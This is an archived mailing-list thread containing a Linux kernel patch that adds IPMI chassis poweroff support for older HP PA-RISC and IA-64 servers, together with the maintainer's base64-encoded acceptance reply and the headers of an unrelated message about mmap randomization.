Subject: [PATCH v2] ipmi/parisc: Add IPMI chassis
 poweroff for certain HP PA-RISC and IA-64 servers
Date: Tue, 27 Mar 2018 17:58:32 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <20180327155832.GA19408@ls3530.fritz.box>
References: <20180324194504.GA10210@ls3530.fritz.box>
 <54f020d1-55a1-e1a5-88c3-cb9cbf7add9c@acm.org>
 <69751fab-c471-4d3a-257a-0001425d5821@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522166213 6723 195.159.176.226 (27 Mar 2018 15:56:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Mar 2018 15:56:53 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
 John David Anglin <dave.anglin@bell.net>, linux-parisc@vger.kernel.org
To: minyard@acm.org, openipmi-developer@lists.sourceforge.net,
 Matt Turner <mattst88@gmail.com>
Original-X-From: openipmi-developer-bounces@lists.sourceforge.net Tue Mar 27 17:56:49 2018
Return-path: <openipmi-developer-bounces@lists.sourceforge.net>
Envelope-to: glko-openipmi-developer@m.gmane.org
Original-Received: from lists.sourceforge.net ([216.105.38.7])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0qxs-0001f6-2C
	for glko-openipmi-developer@m.gmane.org; Tue, 27 Mar 2018 17:56:48 +0200
Original-Received: from [127.0.0.1] (helo=sfs-ml-1.v29.lw.sourceforge.com)
	by sfs-ml-1.v29.lw.sourceforge.com with esmtp (Exim 4.90_1)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0qzu-0008Bj-67; Tue, 27 Mar 2018 15:58:54 +0000
Original-Received: from [172.30.20.202] (helo=mx.sourceforge.net)
 by sfs-ml-1.v29.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256) (Exim 4.90_1)
 (envelope-from <deller@gmx.de>) id 1f0qzr-0008BP-OP
 for openipmi-developer@lists.sourceforge.net; Tue, 27 Mar 2018 15:58:51 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=sourceforge.net; s=x; h=In-Reply-To:Content-Type:MIME-Version:References:
 Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:Content-Transfer-Encoding:
 Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
 Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:
 List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=cFIiE/n2KXf4dcvQh5uAmxQSvHyAKsD4ut2Gk4VCjQw=; b=K7U8+QeSXgh6sHc/xf/DCKUdFR
 PQ/Ze+uF3qOFPCjyhOpv8EM2t5Hi7u/VB04Y72P26thZ4hhPjCd6kToEmq0lXUvYoLtuWYqm+pLY8
 umOoghoruUcvbICZ3VjZGAhYCtkvCfLTws2uFV6zgGu1Zm5Y/cqb2EOIF0IAO3BWqdkU=;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=sf.net; s=x
 ;
 h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To
 :From:Date:Sender:Reply-To:Content-Transfer-Encoding:Content-ID:
 Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
 :Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
 List-Post:List-Owner:List-Archive;
 bh=cFIiE/n2KXf4dcvQh5uAmxQSvHyAKsD4ut2Gk4VCjQw=; b=dgLOhJa5iPLgUVGZQeqpVno+GF
 oDDeB27PRWFyqWhW3Y6HvCyAa9bwkT+4pxETRc4HNDgeN9OIhM9LdTg/2H5PerBw5lL70c1Ltir3i
 SwW4VVcr6Lkw7L49TslytNmmbFHC08/lqfN48PMJcXZBRULkHYuEcSENw5oubXiUzt0s=;
Original-Received: from sfi-lb-mx.v20.lw.sourceforge.com ([172.30.20.201]
 helo=mout.gmx.net) by sfi-mx-4.v28.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128) (Exim 4.90_1)
 id 1f0qzp-00Czts-Ob
 for openipmi-developer@lists.sourceforge.net; Tue, 27 Mar 2018 15:58:51 +0000
Original-Received: from ls3530.fritz.box ([89.244.176.200]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LkOeR-1ePJFQ00ZH-00cQFf; Tue, 27
 Mar 2018 17:58:35 +0200
Content-Disposition: inline
In-Reply-To: <69751fab-c471-4d3a-257a-0001425d5821@gmx.de>
X-Provags-ID: V03:K0:bql+KFwqjkmkvAjjsD6hqR4aIpAA7KNCwuXDwGaIIeGrwg6Glvo
 74vBwsGi5kTfswd0fEYA/B7Hvk1qFgrAJsb4Ah/aZohGq8xZmAPuUk2SjNlsolb9bCDw3hk
 6GHsAKGMu+I7sv9Qkpe4Xfb6+RWsfq+x3bnwT8SwEBtG1NNGZy/vvtAsbAmwJNzmp3b9+uy
 zi0mYY01wms8QeXXcJDHw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:jpn9C5ItC14=:dgBxNSReEyvLuFC1/Toy9J
 SJW9njGzVVd40FTt/s99u1ngwLi5zwUC4X2S36oh9vCcPsiUm1SybDQXSzCLkpUI4URleKQIx
 MlyNIlawRDpFsw+wvI2fwesQvos+jnvTXF9cxcJDGoOgypnt5CTYU3dngWtxlZsTaFrjVBQFP
 QebQqJ+pL3cLdBKh5iKBlb2zvUQwM+zXlZVDQ9qI+k7OZOKz9dp0UJseaA0z4S21GOPmF3uNI
 5I/3NRehJrybckmdvbUgSW17/69uxFCzZRLbucp7LpDYPxQw9De8Ny0s33xmVnp9bzM+RJgmP
 p8IWxAcY5EVE7Q8oa6iz6rEdf5H72BBiPg8NRiYg0B08FS3gfAOM5ybCBViBrrJvPU9OBKHLa
 OK7FHxQQVvlrbX/etOBMOXzQUfWmJBpCuazkR3Y6yf5rU3jW3X1sY+wg9z1K0mTlPID+Bhlno
 J330QEZfJYBpsBXesx632+DFajk//2zamVqvy6d/yoReRGpnX0KnZTGWQqBGo3HWn5YO0vq9A
 hPV+7Uki+MOCMV9aKLAAdEXwyVzF0gd5pqi6GKr8xleY545kyC3tCRBzwOOyF7aaNBq3rH87j
 k8/62Qi2jTRCPnBLnj+ClWbmVQ7ZrimHtzvTGuzg4DnSSMrg8453WBRV1EMgADoWmr5WE029g
 8qM6aWn64JGq/V7oVzcoNhU6ckFPXUgxxAVuyJNqYbF8AJdR9K4QLxfOwvP/DgUIVsIwdnfr3
 P6FBIMFeZG9PQeJ0xjnl7r5CjNU21i8B7MVZvFZGbKSYJCeuhrFXzVnZiBmUr7Lh2WrSdzp1 
X-Spam-Score: 4.5 (++++)
X-Spam-Report: Spam Filtering performed by mx.sourceforge.net.
 See http://spamassassin.org/tag/ for more details.
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (deller[at]gmx.de)
 3.6 RCVD_IN_PBL            RBL: Received via a relay in Spamhaus PBL
 [89.244.176.200 listed in zen.spamhaus.org]
 0.9 SPF_FAIL               SPF: sender does not match SPF record (fail)
 [SPF failed: Please see http://www.openspf.net/Why?s=mfrom; id=deller%40gmx.de;
 ip=172.30.20.201; r=util-malware-1.v13.lw.sourceforge.com]
X-Headers-End: 1f0qzp-00Czts-Ob
X-BeenThere: openipmi-developer@lists.sourceforge.net
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Developer list of OpenIPMI library and Linux driver
 <openipmi-developer.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/options/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=openipmi-developer>
List-Post: <mailto:openipmi-developer@lists.sourceforge.net>
List-Help: <mailto:openipmi-developer-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=subscribe>
Errors-To: openipmi-developer-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.kernel.openipmi:3583 gmane.linux.ports.parisc:28419
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.openipmi/3583>

This patch allows HP PA-RISC servers like rp3410/rp3440 and the HP C8000
workstation with an IPMI controller that predate IPMI 1.5 to use the standard
poweroff or powercycle commands.

These systems firmware don't set the chassis capability bit in the Get
Device ID, but they do implement the standard poweroff and powercycle
commands.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/char/ipmi/ipmi_poweroff.c b/drivers/char/ipmi/ipmi_poweroff.c
index 38e6af1c8e38..943c8bc1c364 100644
--- a/drivers/char/ipmi/ipmi_poweroff.c
+++ b/drivers/char/ipmi/ipmi_poweroff.c
@@ -457,6 +457,24 @@ static int ipmi_dell_chassis_detect(ipmi_user_t user)
 }
 
 /*
+ * ipmi_hp_chassis_detect()
+ * HP PA-RISC servers rp3410/rp3440, the C8000 workstation and the rx2600 and
+ * zx6000 machines support IPMI vers 1 and don't set the chassis capability bit
+ * but they can handle a chassis poweroff or powercycle command.
+ */
+
+#define HP_IANA_MFR_ID 0x0b
+#define HP_BMC_PROD_ID 0x8201
+static int ipmi_hp_chassis_detect(ipmi_user_t user)
+{
+	if (mfg_id == HP_IANA_MFR_ID
+		&& prod_id == HP_BMC_PROD_ID
+		&& ipmi_version == 1)
+		return 1;
+	return 0;
+}
+
+/*
  * Standard chassis support
  */
 
@@ -533,6 +551,9 @@ static struct poweroff_function poweroff_functions[] = {
 	{ .platform_type	= "chassis",
 	  .detect		= ipmi_dell_chassis_detect,
 	  .poweroff_func	= ipmi_poweroff_chassis },
+	{ .platform_type	= "chassis",
+	  .detect		= ipmi_hp_chassis_detect,
+	  .poweroff_func	= ipmi_poweroff_chassis },
 	/* Chassis should generally be last, other things should override
 	   it. */
 	{ .platform_type	= "chassis",

------------------------------------------------------------------------------
Check out the vibrant tech community on one of the world's most
engaging tech sites, Slashdot.org! http://sdm.link/slashdot

From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Corey Minyard <minyard@acm.org>
Newsgroups: gmane.linux.kernel.openipmi,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] ipmi/parisc: Add IPMI chassis
 poweroff for certain HP PA-RISC and IA-64 servers
Date: Tue, 27 Mar 2018 11:05:17 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <45a3f748-0485-442b-6b6f-6dac49b89990@acm.org>
References: <20180324194504.GA10210@ls3530.fritz.box>
 <54f020d1-55a1-e1a5-88c3-cb9cbf7add9c@acm.org>
 <69751fab-c471-4d3a-257a-0001425d5821@gmx.de>
 <20180327155832.GA19408@ls3530.fritz.box>
Reply-To: minyard@acm.org
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"; Format="flowed"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1522166609 2786 195.159.176.226 (27 Mar 2018 16:03:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Mar 2018 16:03:29 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
 John David Anglin <dave.anglin@bell.net>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>, openipmi-developer@lists.sourceforge.net,
 Matt Turner <mattst88@gmail.com>
Original-X-From: openipmi-developer-bounces@lists.sourceforge.net Tue Mar 27 18:03:25 2018
Return-path: <openipmi-developer-bounces@lists.sourceforge.net>
Envelope-to: glko-openipmi-developer@m.gmane.org
Original-Received: from lists.sourceforge.net ([216.105.38.7])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0r4G-0000aw-5z
	for glko-openipmi-developer@m.gmane.org; Tue, 27 Mar 2018 18:03:24 +0200
Original-Received: from [127.0.0.1] (helo=sfs-ml-1.v29.lw.sourceforge.com)
	by sfs-ml-1.v29.lw.sourceforge.com with esmtp (Exim 4.90_1)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0r6H-0000U7-Jx; Tue, 27 Mar 2018 16:05:29 +0000
Original-Received: from [172.30.20.202] (helo=mx.sourceforge.net)
 by sfs-ml-1.v29.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256) (Exim 4.90_1)
 (envelope-from <tcminyard@gmail.com>) id 1f0r6G-0000Ts-ED
 for openipmi-developer@lists.sourceforge.net; Tue, 27 Mar 2018 16:05:28 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=sourceforge.net; s=x; h=Content-Transfer-Encoding:Content-Type:In-Reply-To:
 MIME-Version:Date:Message-ID:From:References:Cc:To:Subject:Reply-To:Sender:
 Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
 Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:
 List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=kcvKzDTpSj/fi8qZXjoVQE5qKA/uTFTzkoTo0VyHI5I=; b=X4xSqn0OlwKD7UPtuCR5FQfKNG
 1CUc5FUU53crTfjWVn4GGsHVLSVJWQTgL+QsmzyA9yDYFLa2Gr2iEdqMzlXKTyrW3+NWBwhe6mlug
 yGwhNFmV7oTKPxFbMrmmbrZUOtV2KgJtVWCW9nS6wUvPsQpCk9oPNNAqY3M7Pr3yIV6o=;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=sf.net; s=x
 ;
 h=Content-Transfer-Encoding:Content-Type:In-Reply-To:MIME-Version:Date:
 Message-ID:From:References:Cc:To:Subject:Reply-To:Sender:Content-ID:
 Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
 :Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
 List-Post:List-Owner:List-Archive;
 bh=kcvKzDTpSj/fi8qZXjoVQE5qKA/uTFTzkoTo0VyHI5I=; b=hCrdQSQWR+jmqJt20uFieCIrBs
 7wogfuMo9RUTMC7FWjPdLncy81XOnZdUJHVg5MeFbY5jKjRJV96Q0UfuJa+MWQ0LeRygpUTx4Zw3P
 tpD0lvN/gp2oTNLgK3hO6okjJKn7rSY3Rj1I+fj8iYv1D2Ghsc42DdETiPmwPfkjW5rk=;
Original-Received: from sfi-lb-mx.v20.lw.sourceforge.com ([172.30.20.201]
 helo=mail-oi0-f67.google.com)
 by sfi-mx-3.v28.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128) (Exim 4.90_1)
 id 1f0r6E-009puC-BR
 for openipmi-developer@lists.sourceforge.net; Tue, 27 Mar 2018 16:05:27 +0000
Original-Received: by mail-oi0-f67.google.com with SMTP id c3-v6so19653410oib.5
 for <openipmi-developer@lists.sourceforge.net>;
 Tue, 27 Mar 2018 09:05:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=sender:reply-to:subject:to:cc:references:from:message-id:date
 :user-agent:mime-version:in-reply-to:content-transfer-encoding
 :content-language;
 bh=kcvKzDTpSj/fi8qZXjoVQE5qKA/uTFTzkoTo0VyHI5I=;
 b=GJPeEFyUNMaiwBBEfVPSBhTnCIZOj02UAZCK4dAyzUPXfaEGEl75ZVwTHuPq1UMXGk
 zlVJqAio23GaZvyDxEmOfvkzr4wbEWDy1s9X4Iu8inR4bcT4oJmvfH2iNuWf/42f/cL+
 TI4HYogjx6TJ35VmIBOSVqiM/KzhXb24xcnWOX90QAO+5hWL25yxMJwN8WDTNLI+hzNz
 Ka62Kyy/Nq4T6jdBV8EzGocc7umT7g3pbdwLQZpWEyZA5YDVieWgsSNcS1pQp7yNXzyA
 3g5Wdr5wT6UsFC8CT0GSpEnqg2+0ri1OEDM31Wfecd+Z8h/TPisAlqC3AOAdWFG0xhoJ
 21RQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:sender:reply-to:subject:to:cc:references:from
 :message-id:date:user-agent:mime-version:in-reply-to
 :content-transfer-encoding:content-language;
 bh=kcvKzDTpSj/fi8qZXjoVQE5qKA/uTFTzkoTo0VyHI5I=;
 b=aAa7ZK7rkMiFR0nUdizQAHMOIY22juOLM+O7hQjvkCY13JBn1XF7z9hlCv4LyDHYUD
 QnfiXcVWa/bZQglaf52KaFyuU98VB0XJjtl/h8zXYhppuBCOReMiZRcC9akcU3+EXoHe
 +uo9vKfrLvgqMosSL2oCf4xOANynnD4NpKFEzie1VTP860z3kuqQXRbq+74ZxozslUc/
 ooKX96LToUQL4ih7EPkFSEAXoSx56u+tIk8UFvYqe3XBPT921x7NZBM9VXUHBPLkTkr9
 VfDk8Vj/OX/JCP1tE0JQ8N0R+OQbz9gb4jVnA/f0oyaiqA8gNZn+dirXUllQkdrIUiPb
 LNKQ==
X-Gm-Message-State: AElRT7EWDtxfwwva58uS4Pk6X6ke78VlCTKiZ9jIvuoB+yPOS7pv4UTG
 Htw5DlkxFl5fwDhCJ+p6zQ==
X-Google-Smtp-Source: AG47ELvqZVxlmVedy81C2/dbq8OGY/O8iFWq6KG6W7T+idX/bGJvAmkIaWZKCobGO1R5vYvrL0tYKA==
X-Received: by 10.202.215.86 with SMTP id o83mr13788481oig.249.1522166720539; 
 Tue, 27 Mar 2018 09:05:20 -0700 (PDT)
Original-Received: from serve.minyard.net ([47.184.168.85])
 by smtp.gmail.com with ESMTPSA id n132-v6sm787528oia.1.2018.03.27.09.05.18
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Tue, 27 Mar 2018 09:05:19 -0700 (PDT)
Original-Received: from [192.168.27.3] (t430m.minyard.net [192.168.27.3])
 by serve.minyard.net (Postfix) with ESMTPSA id 08D213B6;
 Tue, 27 Mar 2018 11:05:18 -0500 (CDT)
In-Reply-To: <20180327155832.GA19408@ls3530.fritz.box>
Content-Language: en-GB
X-Spam-Score: 1.5 (+)
X-Spam-Report: Spam Filtering performed by mx.sourceforge.net.
 See http://spamassassin.org/tag/ for more details.
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (tcminyard[at]gmail.com)
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.2 FREEMAIL_FORGED_FROMDOMAIN 2nd level domains in From and EnvelopeFrom
 freemail headers are different
X-Headers-End: 1f0r6E-009puC-BR
X-BeenThere: openipmi-developer@lists.sourceforge.net
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Developer list of OpenIPMI library and Linux driver
 <openipmi-developer.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/options/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=openipmi-developer>
List-Post: <mailto:openipmi-developer@lists.sourceforge.net>
List-Help: <mailto:openipmi-developer-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=subscribe>
Errors-To: openipmi-developer-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.kernel.openipmi:3584 gmane.linux.ports.parisc:28420
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.openipmi/3584>

T24gMDMvMjcvMjAxOCAxMDo1OCBBTSwgSGVsZ2UgRGVsbGVyIHdyb3RlOgo+IFRoaXMgcGF0Y2gg
YWxsb3dzIEhQIFBBLVJJU0Mgc2VydmVycyBsaWtlIHJwMzQxMC9ycDM0NDAgYW5kIHRoZSBIUCBD
ODAwMAo+IHdvcmtzdGF0aW9uIHdpdGggYW4gSVBNSSBjb250cm9sbGVyIHRoYXQgcHJlZGF0ZSBJ
UE1JIDEuNSB0byB1c2UgdGhlIHN0YW5kYXJkCj4gcG93ZXJvZmYgb3IgcG93ZXJjeWNsZSBjb21t
YW5kcy4KPgo+IFRoZXNlIHN5c3RlbXMgZmlybXdhcmUgZG9uJ3Qgc2V0IHRoZSBjaGFzc2lzIGNh
cGFiaWxpdHkgYml0IGluIHRoZSBHZXQKPiBEZXZpY2UgSUQsIGJ1dCB0aGV5IGRvIGltcGxlbWVu
dCB0aGUgc3RhbmRhcmQgcG93ZXJvZmYgYW5kIHBvd2VyY3ljbGUKPiBjb21tYW5kcy4KClBlcmZl
Y3QsIHRoYW5rcyBmb3IgdGhlIHVwZGF0ZS7CoCBJbmNsdWRlZCBmb3IgbmV4dCByZWxlYXNlLgoK
LWNvcmV5Cgo+IFNpZ25lZC1vZmYtYnk6IEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT4KPgo+
IGRpZmYgLS1naXQgYS9kcml2ZXJzL2NoYXIvaXBtaS9pcG1pX3Bvd2Vyb2ZmLmMgYi9kcml2ZXJz
L2NoYXIvaXBtaS9pcG1pX3Bvd2Vyb2ZmLmMKPiBpbmRleCAzOGU2YWYxYzhlMzguLjk0M2M4YmMx
YzM2NCAxMDA2NDQKPiAtLS0gYS9kcml2ZXJzL2NoYXIvaXBtaS9pcG1pX3Bvd2Vyb2ZmLmMKPiAr
KysgYi9kcml2ZXJzL2NoYXIvaXBtaS9pcG1pX3Bvd2Vyb2ZmLmMKPiBAQCAtNDU3LDYgKzQ1Nywy
NCBAQCBzdGF0aWMgaW50IGlwbWlfZGVsbF9jaGFzc2lzX2RldGVjdChpcG1pX3VzZXJfdCB1c2Vy
KQo+ICAgfQo+ICAgCj4gICAvKgo+ICsgKiBpcG1pX2hwX2NoYXNzaXNfZGV0ZWN0KCkKPiArICog
SFAgUEEtUklTQyBzZXJ2ZXJzIHJwMzQxMC9ycDM0NDAsIHRoZSBDODAwMCB3b3Jrc3RhdGlvbiBh
bmQgdGhlIHJ4MjYwMCBhbmQKPiArICogeng2MDAwIG1hY2hpbmVzIHN1cHBvcnQgSVBNSSB2ZXJz
IDEgYW5kIGRvbid0IHNldCB0aGUgY2hhc3NpcyBjYXBhYmlsaXR5IGJpdAo+ICsgKiBidXQgdGhl
eSBjYW4gaGFuZGxlIGEgY2hhc3NpcyBwb3dlcm9mZiBvciBwb3dlcmN5Y2xlIGNvbW1hbmQuCj4g
KyAqLwo+ICsKPiArI2RlZmluZSBIUF9JQU5BX01GUl9JRCAweDBiCj4gKyNkZWZpbmUgSFBfQk1D
X1BST0RfSUQgMHg4MjAxCj4gK3N0YXRpYyBpbnQgaXBtaV9ocF9jaGFzc2lzX2RldGVjdChpcG1p
X3VzZXJfdCB1c2VyKQo+ICt7Cj4gKwlpZiAobWZnX2lkID09IEhQX0lBTkFfTUZSX0lECj4gKwkJ
JiYgcHJvZF9pZCA9PSBIUF9CTUNfUFJPRF9JRAo+ICsJCSYmIGlwbWlfdmVyc2lvbiA9PSAxKQo+
ICsJCXJldHVybiAxOwo+ICsJcmV0dXJuIDA7Cj4gK30KPiArCj4gKy8qCj4gICAgKiBTdGFuZGFy
ZCBjaGFzc2lzIHN1cHBvcnQKPiAgICAqLwo+ICAgCj4gQEAgLTUzMyw2ICs1NTEsOSBAQCBzdGF0
aWMgc3RydWN0IHBvd2Vyb2ZmX2Z1bmN0aW9uIHBvd2Vyb2ZmX2Z1bmN0aW9uc1tdID0gewo+ICAg
CXsgLnBsYXRmb3JtX3R5cGUJPSAiY2hhc3NpcyIsCj4gICAJICAuZGV0ZWN0CQk9IGlwbWlfZGVs
bF9jaGFzc2lzX2RldGVjdCwKPiAgIAkgIC5wb3dlcm9mZl9mdW5jCT0gaXBtaV9wb3dlcm9mZl9j
aGFzc2lzIH0sCj4gKwl7IC5wbGF0Zm9ybV90eXBlCT0gImNoYXNzaXMiLAo+ICsJICAuZGV0ZWN0
CQk9IGlwbWlfaHBfY2hhc3Npc19kZXRlY3QsCj4gKwkgIC5wb3dlcm9mZl9mdW5jCT0gaXBtaV9w
b3dlcm9mZl9jaGFzc2lzIH0sCj4gICAJLyogQ2hhc3NpcyBzaG91bGQgZ2VuZXJhbGx5IGJlIGxh
c3QsIG90aGVyIHRoaW5ncyBzaG91bGQgb3ZlcnJpZGUKPiAgIAkgICBpdC4gKi8KPiAgIAl7IC5w
bGF0Zm9ybV90eXBlCT0gImNoYXNzaXMiLAoKCgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KQ2hlY2sg
b3V0IHRoZSB2aWJyYW50IHRlY2ggY29tbXVuaXR5IG9uIG9uZSBvZiB0aGUgd29ybGQncyBtb3N0
CmVuZ2FnaW5nIHRlY2ggc2l0ZXMsIFNsYXNoZG90Lm9yZyEgaHR0cDovL3NkbS5saW5rL3NsYXNo
ZG90Cl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCk9wZW5p
cG1pLWRldmVsb3BlciBtYWlsaW5nIGxpc3QKT3BlbmlwbWktZGV2ZWxvcGVyQGxpc3RzLnNvdXJj
ZWZvcmdlLm5ldApodHRwczovL2xpc3RzLnNvdXJjZWZvcmdlLm5ldC9saXN0cy9saXN0aW5mby9v
cGVuaXBtaS1kZXZlbG9wZXIK


From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Theodore Y. Ts'o" <tytso@mit.edu>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Tue, 27 Mar 2018 18:16:35 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20180327221635.GA3790@thunk.org>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
 <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1522188900 2013 195.159.176.226 (27 Mar 2018 22:15:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Mar 2018 22:15:00 +0000 (UTC)
User-Agent: Mutt/1.9.4 (2018-02-28)
Cc: Michal Hocko <mhocko@kernel.org>,
        Matthew Wilcox <willy@infradead.org>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, jejb@parisc-linux.org,
        Helge Deller <deller@gmx.de>, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Hugh Dickins <hughd@google.com>, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, Andrew Morton <akpm@linux-foundation.org>,
To: Ilya Smith <blackzert@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Mar 28 00:14:50 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0wrh-0007DW-SZ
	for glk-linux-kernel-4@m.gmane.org; Wed, 28 Mar 2018 00:14:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752290AbeC0WQx (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 27 Mar 2018 18:16:53 -0400
